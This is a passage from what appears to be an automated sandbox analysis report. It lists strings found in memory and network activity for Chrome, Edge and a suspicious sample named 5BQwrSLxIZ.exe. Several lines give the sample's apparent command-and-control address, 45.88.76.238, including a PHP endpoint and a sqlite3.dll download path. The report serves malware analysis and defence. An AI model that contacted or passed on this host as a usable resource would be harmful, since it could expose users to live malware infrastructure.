rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000002.2304718840.0000279002B38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ht/www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2310711711.0000279003C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2302862780.00002790028C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310774464.0000279003CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2216006169.0000279003CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2310774464.0000279003CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2216006169.0000279003CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306946389.0000279002EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlP equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/< equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/Q equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754134846.0000000002C3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238/11d003c031fcb1b4/sqlite3.dll
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/11d003c031fcb1b4/sqlite3.dllA
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/11d003c031fcb1b4/sqlite3.dllm
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.php
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.php$
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.php(
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.php8~
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpT
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpW
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpdge
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpe
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpme
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpuiX
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238/3b55d279dd60140c.phpwininit.exe
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.23811d003c031fcb1b4/sqlite3.dllexe
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.2383b55d279dd60140c.phpme
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754134846.0000000002C3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.76.238IE
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238ata
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.76.238smss.exe
Source: chrome.exe, 00000002.00000002.2299236610.0000279002220000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586&
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832k
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862il
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965l
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970rm
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
